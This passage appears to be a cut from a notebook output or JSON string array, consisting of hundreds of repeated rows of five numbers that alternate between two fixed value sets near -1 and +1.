-0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 